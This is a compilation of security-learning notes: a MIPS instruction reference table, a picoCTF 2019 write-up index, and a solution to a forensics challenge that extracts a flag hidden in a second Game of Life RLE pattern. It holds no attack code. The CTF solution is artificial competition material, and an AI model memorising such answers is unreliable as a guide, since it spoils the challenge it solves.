MIPS指令**LB -- Load byte** | Description: | A byte is loaded into a register from the specified address. | | ------------ | ------------------------------------------------------------ | | Operation: | $t = MEM[$s + offset]; advance_pc (4); | | Syntax: | lb $t, offset($s) | | Encoding: | `1000 00ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**LUI -- Load upper immediate** | Description: | The immediate value is shifted left 16 bits and stored in the register. The lower 16 bits are zeroes. | | ------------ | ------------------------------------------------------------ | | Operation: | $t = (imm << 16); advance_pc (4); | | Syntax: | lui $t, imm | | Encoding: | `0011 11-- ---t tttt iiii iiii iiii iiii` | ### MIPS指令**LW -- Load word** | Description: | A word is loaded into a register from the specified address. | | ------------ | ------------------------------------------------------------ | | Operation: | $t = MEM[$s + offset]; advance_pc (4); | | Syntax: | lw $t, offset($s) | | Encoding: | `1000 11ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**MFHI -- Move from HI** | Description: | The contents of register HI are moved to the specified register. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $HI; advance_pc (4); | | Syntax: | mfhi $d | | Encoding: | `0000 0000 0000 0000 dddd d000 0001 0000` | ### MIPS指令**MFLO -- Move from LO** | Description: | The contents of register LO are moved to the specified register. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $LO; advance_pc (4); | | Syntax: | mflo $d | | Encoding: | `0000 0000 0000 0000 dddd d000 0001 0010` | ### MIPS指令**MULT -- Multiply** | Description: | Multiplies $s by $t and stores the result in $LO. | | ------------ | ------------------------------------------------- | | Operation: | $LO = $s * $t; advance_pc (4); | | Syntax: | mult $s, $t | | Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1000` | ### MIPS指令**MULTU -- Multiply unsigned** | Description: | Multiplies $s by $t and stores the result in $LO. | | ------------ | ------------------------------------------------- | | Operation: | $LO = $s * $t; advance_pc (4); | | Syntax: | multu $s, $t | | Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1001` | ### MIPS指令**NOOP -- no operation** | Description: | Performs no operation. | | ------------ | ----------------------------------------- | | Operation: | advance_pc (4); | | Syntax: | noop | | Encoding: | `0000 0000 0000 0000 0000 0000 0000 0000` | Note: The encoding for a NOOP represents the instruction SLL $0, $0, 0 which has no side effects. In fact, nearly every instruction that has $0 as its destination register will have no side effect and can thus be considered a NOOP instruction. ### MIPS指令 **OR -- Bitwise or** | Description: | Bitwise logical ors two registers and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $s \| $t; advance_pc (4); | | Syntax: | or $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0101` | ### MIPS指令**ORI -- Bitwise or immediate** | Description: | Bitwise ors a register and an immediate value and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $t = $s \| imm; advance_pc (4); | | Syntax: | ori $t, $s, imm | | Encoding: | `0011 01ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**SB -- Store byte** | Description: | The least significant byte of $t is stored at the specified address. | | ------------ | ------------------------------------------------------------ | | Operation: | MEM[$s + offset] = (0xff & $t); advance_pc (4); | | Syntax: | sb $t, offset($s) | | Encoding: | `1010 00ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**SLL -- Shift left logical** | Description: | Shifts a register value left by the shift amount listed in the instruction and places the result in a third register. Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t << h; advance_pc (4); | | Syntax: | sll $d, $t, h | | Encoding: | `0000 00ss ssst tttt dddd dhhh hh00 0000` | ### MIPS指令**SLLV -- Shift left logical variable** | Description: | Shifts a register value left by the value in a second register and places the result in a third register. Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t << $s; advance_pc (4); | | Syntax: | sllv $d, $t, $s | | Encoding: | `0000 00ss ssst tttt dddd d--- --00 0100` | ### MIPS指令**SLT -- Set on less than (signed)** | Description: | If $s is less than $t, $d is set to one. It gets zero otherwise. | | ------------ | ------------------------------------------------------------ | | Operation: | if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4); | | Syntax: | slt $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 1010` | ### MIPS指令**SLTI -- Set on less than immediate (signed)** | Description: | If $s is less than immediate, $t is set to one. It gets zero otherwise. | | ------------ | ------------------------------------------------------------ | | Operation: | if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4); | | Syntax: | slti $t, $s, imm | | Encoding: | `0010 10ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**SLTIU -- Set on less than immediate unsigned** | Description: | If $s is less than the unsigned immediate, $t is set to one. It gets zero otherwise. | | ------------ | ------------------------------------------------------------ | | Operation: | if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4); | | Syntax: | sltiu $t, $s, imm | | Encoding: | `0010 11ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**SLTU -- Set on less than unsigned** | Description: | If $s is less than $t, $d is set to one. It gets zero otherwise. | | ------------ | ------------------------------------------------------------ | | Operation: | if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4); | | Syntax: | sltu $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 1011` | ### MIPS指令**SRA -- Shift right arithmetic** | Description: | Shifts a register value right by the shift amount (shamt) and places the value in the destination register. The sign bit is shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t >> h; advance_pc (4); | | Syntax: | sra $d, $t, h | | Encoding: | `0000 00-- ---t tttt dddd dhhh hh00 0011` | ### MIPS指令**SRL -- Shift right logical** | Description: | Shifts a register value right by the shift amount (shamt) and places the value in the destination register. Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t >> h; advance_pc (4); | | Syntax: | srl $d, $t, h | | Encoding: | `0000 00-- ---t tttt dddd dhhh hh00 0010` | ### MIPS指令**SRLV -- Shift right logical variable** | Description: | Shifts a register value right by the amount specified in $s and places the value in the destination register. Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t >> $s; advance_pc (4); | | Syntax: | srlv $d, $t, $s | | Encoding: | `0000 00ss ssst tttt dddd d000 0000 0110` | ### MIPS指令**SUB -- Subtract** | Description: | Subtracts two registers and stores the result in a register | | ------------ | ----------------------------------------------------------- | | Operation: | $d = $s - $t; advance_pc (4); | | Syntax: | sub $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0010` | ### MIPS指令**SUBU -- Subtract unsigned** | Description: | Subtracts two registers and stores the result in a register | | ------------ | ----------------------------------------------------------- | | Operation: | $d = $s - $t; advance_pc (4); | | Syntax: | subu $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0011` | ### MIPS指令**SW -- Store word** | Description: | The contents of $t is stored at the specified address. | | ------------ | ------------------------------------------------------ | | Operation: | MEM[$s + offset] = $t; advance_pc (4); | | Syntax: | sw $t, offset($s) | | Encoding: | `1010 11ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**SYSCALL -- System call** | Description: | Generates a software interrupt. | | ------------ | ----------------------------------------- | | Operation: | advance_pc (4); | | Syntax: | syscall | | Encoding: | `0000 00-- ---- ---- ---- ---- --00 1100` | ### MIPS指令**XOR -- Bitwise exclusive or** | Description: | Exclusive ors two registers and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $s ^ $t; advance_pc (4); | | Syntax: | xor $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d--- --10 0110` | ### MIPS指令**XORI -- Bitwise exclusive or immediate** | Description: | Bitwise exclusive ors a register and an immediate value and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $t = $s ^ imm; advance_pc (4); | | Syntax: | xori $t, $s, imm | | Encoding: | `0011 10ss ssst tttt iiii iiii iiii iiii` |
sec-knowleage
# picoCTF - 2019 Writeups for various challenges from the 2019 [picoCTF competition](https://2019game.picoctf.com/). Ranking at the buzzer: 117/15834 with 27000 points (104 challenges solved). ![Profile](images/Profile.png)
sec-knowleage
# Golly Gee Willikers Forensics, 100 points ## Description > Someone sent me this weird file and I don't understand it. It's freaking me out, this isn't a game! Please help me figure out what's in this file. ``` x = 0, y = 0, rule = B3/S23 3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob 3ob3ob3ob3ob3ob3ob3ob3ob3o$obobobobobobobobobobobobobobobobobobobobobo bobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobo bobobobobob3o$obobobobobobobobobobobobobobobobobobobobobobobobobobobob obobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobob3o $obobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobo bobobobobobobobobobobobobobobobobobobobobobobobobobobob3o$3ob3ob3ob3ob 3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob 3ob3ob3ob3ob3o$$5bo2bobobobo2b2obo3b2o3bo4bobo3bobo19bo2b2o2bo2b2o2b2o 2bobob3o2b2ob3ob3ob3o11bo5bo3b3o$5bo2bobob3ob2o4bob2o3bo3bo3bo3bo3bo 16bobobob2o4bo3bobobobo3bo5bobobobobo2bo3bo3bo2b3o2bo4bo$5bo6bobo2b2o 2bo2b3o6bo3bo2bobob3o5b3o6bo2bobo2bo3bo3bo2b3ob2o2b3o2bo2b3ob3o9bo9bo 2bo$12b3ob2o2bo3bobo6bo3bo7bo3bo10bo3bobo2bo2bo5bo3bo3bobobobo3bobo3bo 2bo3bo3bo2b3o2bo$5bo6bobo2bo4bo2b2o7bobo11bo8bo2bo3b2o3bo2b3ob2o4bob2o 2b3obo3b3ob2o6bo5bo5bo4bo$$bo3bo2b2o3b2ob2o2b3ob3o2b2obobob3o3bobobobo 3bobobobo2bo2b2o3bo2b2o3b2ob3obobobobobobobobobobob3ob3o5b3o2bo$obobob obobobo3bobobo3bo3bo3bobo2bo4bobobobo3b3ob3obobobobobobobobobo4bo2bobo bobobobobobobobo3bobo3bo5bobobo$3ob3ob2o2bo3bobob3ob3ob3ob3o2bo4bob2o 2bo3b3ob3obobob2o2bobob3o2bo3bo2bobobobob3o2bo3bo3bo2bo4bo4bo$o3bobobo bobo3bobobo3bo3bobobobo2bo2bobobobobo3bobob3obobobo3b3ob2o4bo2bo2bobo 2bo2b3obobo2bo2bo3bo5bo3bo$b2obobob2o3b2ob2o2b3obo4b2obobob3o2bo2bobob 3obobobobo2bo2bo4b2obobob2o3bo3b2o2bo2bobobobo2bo2b3ob3o5b3o5b3o$$o7bo 9bo7bo5bo4bo4bobo3b2o31bo27b2o2bo2b2o3b2ob3o$bo2b2o2b2o3b2o2b2o2b2o2bo 3b2ob2o10bobo2bo2b3ob2o3bo2b2o3b2o2b2o2b2ob3obobobobobobobobobobob3o2b o3bo3bo2b2o2b3o$5b2obobobo3bobobobob3obobobobo2bo4bob2o3bo2b3obobobobo bobobobobo3b2o3bo2bobobobob3o2bo2bobo2b2obo9bo5b3o$4bobobobobo3bobob2o 3bo2b3obobo2bo4bob2o3bo2b3obobobobobobobobobo4b2o2bo2bobob3ob3o2bo3b2o b2o3bo3bo3bo6b3o$4b3ob2o3b2o2b2o2b2o2bo4bobobo2bo2bobobobob3obobobobo 2bo2b2o3b2obo3b2o3b2o2b2o2bo2b3obobo3bob3o2b2o2bo2b2o6b3o$29bo11bo22bo 5bo30bo!$$$$13b2o2bo2bo4bo15b2o6bo6b2o11bo2b2o$b2obobob2o3bo2b3ob2o2b2o 3b2o5bobobobob2o2b3o6bo2b2o3b2ob3o2bo$2o2bobobobobo4bo2bobo2bo2b2o6b3o bobobobo2bo7bo3b2ob2o3bo4bo$b2obobobobo2bo3bo2bobo2bo3b2o5b3obobobobo 2bo7bo2bobo2b2o2bo3bo$2o3b2obobo2b2o2b2obobo2bo2b2o2b3ob3ob2o2bobo2b2o b3ob3ob3ob2o3b2ob2o! ``` ## Solution After spending a while trying to analyze the patterns in the file and searching for creative ways to decode anything, I switched tactics and searched Google for the only thing that seemed searchable: "B3/S23". It turns out that this is a rule in [Conway's Game of Life](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=9&cad=rja&uact=8&ved=2ahUKEwid3fryv_3hAhUOZ1AKHWN0DvcQFjAIegQIBhAB&url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FConway%2527s_Game_of_Life&usg=AOvVaw3Ren4zMW9qfyNBCmJvYMlL) - A cellular automaton model. The "B3/S23" notation means that: > A cell is Born if it has exactly 3 neighbours, Survives if it has 2 or 3 living neighbours, and dies otherwise The next step was searching for "`rule = B3/S23`", and this yielded results as well. It turns out that this is part of a file format called "[Extended RLE](http://golly.sourceforge.net/Help/formats.html)", and used by an open-source application named Golly (hence the challenge title): > Golly is an open source, cross-platform application for exploring Conway's Game of Life and many other types of cellular automata. Golly even has a [Web Application](http://golly.sourceforge.net/webapp/golly.html) which is able to read "Extended RLE" files. If we load our file, we see: ![](images/golly1.png) This is good progress, but it doesn't really look like a flag. We can run the simulation, but that just leads to an unrecognizable pattern. Time for some more research on the file format. > Any line that is not blank, or does not start with a "#" or "x " or "x=" is treated as run-length encoded pattern data. The data is ordered a row at a time from top to bottom, and each row is ordered left to right. A "$" represents the end of each row and an optional "!" represents the end of the pattern. The key here is the last sentence. Our file ends with an exclamation mark, but also contains another one a few lines before the end! This can mean that there are two files concatenated here! We remove the text until the first exclamation mark, and stay with: ``` $$$$13b2o2bo2bo4bo15b2o6bo6b2o11bo2b2o$b2obobob2o3bo2b3ob2o2b2o 3b2o5bobobobob2o2b3o6bo2b2o3b2ob3o2bo$2o2bobobobobo4bo2bobo2bo2b2o6b3o bobobobo2bo7bo3b2ob2o3bo4bo$b2obobobobo2bo3bo2bobo2bo3b2o5b3obobobobo 2bo7bo2bobo2b2o2bo3bo$2o3b2obobo2b2o2b2obobo2bo2b2o2b3ob3ob2o2bobo2b2o b3ob3ob3ob2o3b2ob2o! ``` Now we get: ![](images/golly2.png) This looks much more like a flag...
sec-knowleage